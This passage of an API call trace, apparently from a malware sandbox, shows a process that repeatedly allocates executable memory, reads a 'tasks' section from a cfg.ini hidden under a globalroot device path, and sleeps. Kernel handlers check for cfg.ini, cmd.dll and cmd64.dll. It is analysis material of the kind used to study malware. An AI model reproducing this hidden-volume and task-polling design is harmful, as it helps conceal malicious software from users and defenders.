0xfffffa8003b863b0 [0124.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.108] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.108] IdePortDispatch () returned 0x103 [0124.108] KeWaitForMutexObject () returned 0x0 [0124.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.108] KeLeaveCriticalRegion () [0124.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.109] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.109] KeEnterCriticalRegion () [0124.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] KeLeaveCriticalRegion () [0124.109] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.109] KeEnterCriticalRegion () [0124.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.109] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befcd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] KeLeaveCriticalRegion () [0124.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.109] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.109] KeEnterCriticalRegion () [0124.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] ExFreePoolWithTag (P=0xfffffa8003befaa0, Tag=0x0) [0124.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.109] KeLeaveCriticalRegion () [0124.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.109] ReleaseMutex (hMutex=0xf0) returned 1 [0124.109] Sleep (dwMilliseconds=0x927c0) [0124.121] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.121] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.126] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.126] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.126] KeEnterCriticalRegion () [0124.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.126] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.126] IdePortDispatch () returned 0x103 [0124.126] KeWaitForMutexObject () returned 0x0 [0124.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.127] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.127] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.127] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.127] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.127] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] KeLeaveCriticalRegion () [0124.127] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.127] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.127] KeEnterCriticalRegion () [0124.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] KeLeaveCriticalRegion () [0124.127] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.127] KeEnterCriticalRegion () [0124.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.127] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.127] IdePortDispatch () returned 0x103 [0124.127] KeWaitForMutexObject () returned 0x0 [0124.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] KeLeaveCriticalRegion () [0124.127] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.127] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.127] KeEnterCriticalRegion () [0124.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.127] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e3000 [0124.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.128] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.128] IdePortDispatch () returned 0x103 [0124.128] KeWaitForMutexObject () returned 0x0 [0124.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.128] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.128] IdePortDispatch () returned 0x103 [0124.128] KeWaitForMutexObject () returned 0x0 [0124.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.128] KeLeaveCriticalRegion () [0124.128] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.129] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.129] KeEnterCriticalRegion () [0124.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] KeLeaveCriticalRegion () [0124.129] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.129] KeEnterCriticalRegion () [0124.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.129] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] KeLeaveCriticalRegion () [0124.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.129] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.129] KeEnterCriticalRegion () [0124.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.129] KeLeaveCriticalRegion () [0124.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.129] ReleaseMutex (hMutex=0xf0) returned 1 [0124.129] Sleep (dwMilliseconds=0x927c0) [0124.145] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.145] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.145] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.145] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.145] KeEnterCriticalRegion () [0124.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.145] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.145] IdePortDispatch () returned 0x103 [0124.146] KeWaitForMutexObject () returned 0x0 [0124.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.146] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.146] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.146] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.146] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.146] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef290 [0124.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.146] KeLeaveCriticalRegion () [0124.146] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.146] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.146] KeEnterCriticalRegion () [0124.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.146] KeLeaveCriticalRegion () [0124.146] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.146] KeEnterCriticalRegion () [0124.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.146] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.146] IdePortDispatch () returned 0x103 [0124.146] KeWaitForMutexObject () returned 0x0 [0124.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.146] KeLeaveCriticalRegion () [0124.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.147] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.147] KeEnterCriticalRegion () [0124.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003501000 [0124.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.147] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.147] IdePortDispatch () returned 0x103 [0124.147] KeWaitForMutexObject () returned 0x0 [0124.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.147] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.147] IdePortDispatch () returned 0x103 [0124.147] KeWaitForMutexObject () returned 0x0 [0124.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.147] KeLeaveCriticalRegion () [0124.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.148] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.148] KeEnterCriticalRegion () [0124.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] KeLeaveCriticalRegion () [0124.148] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.148] KeEnterCriticalRegion () [0124.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.148] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] KeLeaveCriticalRegion () [0124.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.148] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.148] KeEnterCriticalRegion () [0124.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] ExFreePoolWithTag (P=0xfffffa8003bef290, Tag=0x0) [0124.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.148] KeLeaveCriticalRegion () [0124.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.148] ReleaseMutex (hMutex=0xf0) returned 1 [0124.148] Sleep (dwMilliseconds=0x927c0) [0124.162] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.162] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.162] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.162] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.162] KeEnterCriticalRegion () [0124.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.162] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.162] IdePortDispatch () returned 0x103 [0124.162] KeWaitForMutexObject () returned 0x0 [0124.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.163] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.163] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.163] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.163] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.163] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef5b0 [0124.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.163] KeLeaveCriticalRegion () [0124.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.163] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.163] KeEnterCriticalRegion () [0124.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.163] KeLeaveCriticalRegion () [0124.163] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.163] KeEnterCriticalRegion () [0124.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.163] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.163] IdePortDispatch () returned 0x103 [0124.163] KeWaitForMutexObject () returned 0x0 [0124.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.163] KeLeaveCriticalRegion () [0124.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.163] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.163] KeEnterCriticalRegion () [0124.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003506000 [0124.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.164] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.164] IdePortDispatch () returned 0x103 [0124.164] KeWaitForMutexObject () returned 0x0 [0124.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.164] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.164] IdePortDispatch () returned 0x103 [0124.164] KeWaitForMutexObject () returned 0x0 [0124.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.164] KeLeaveCriticalRegion () [0124.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.165] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.165] KeEnterCriticalRegion () [0124.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.165] KeLeaveCriticalRegion () [0124.165] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.165] KeEnterCriticalRegion () [0124.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.165] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.165] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.165] KeLeaveCriticalRegion () [0124.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.165] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.165] KeEnterCriticalRegion () [0124.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.165] ExFreePoolWithTag (P=0xfffffa8003bef5b0, Tag=0x0) [0124.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 